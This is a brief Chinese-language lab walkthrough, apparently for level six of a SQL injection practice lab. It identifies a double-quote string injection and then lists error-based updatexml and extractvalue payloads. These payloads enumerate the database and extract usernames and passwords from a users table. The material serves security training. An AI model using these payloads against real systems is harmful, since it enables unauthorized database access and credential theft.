?一:判斷輸入類型
首先測試 ?id=1,?id=1',?id=1",頁面回顯均無變化
所以我們采用簡單的布爾測試,分別測試數字型,單引號,雙引號
然后發現,只有在測試到雙引號注入的時候符合關鍵規律,其他的頁面并無變化,即如下代碼:
?id=1" and 1=1 --+ # 正常返回
?id=1" and 1=2 --+ # 異常返回,頁面為空
?得出結論:第六關為字符型,雙引號閉合
二:注入攻擊
1.列數
?id=1" order by 3 --+正常
?id=1" order by 4 --+報錯
2,獲取數據庫版本
?id=1" and updatexml(1,concat(0x7e,version()),1) --+
3,獲取數據庫名
?id=1" and updatexml(1,concat(0x7e,database()),1) --+
?4.獲取數據庫表名
?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())
),1) --+
?5.獲取數據庫列名
?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columnswhere table_name='users' and table_schema=database())
),1) --+
?6.提取users表數據~
?id=1"%20and%20extractvalue(1,concat(0x7e,(select%20concat(username,%27:%27,password)%20from%20users%20limit%200,1)))--+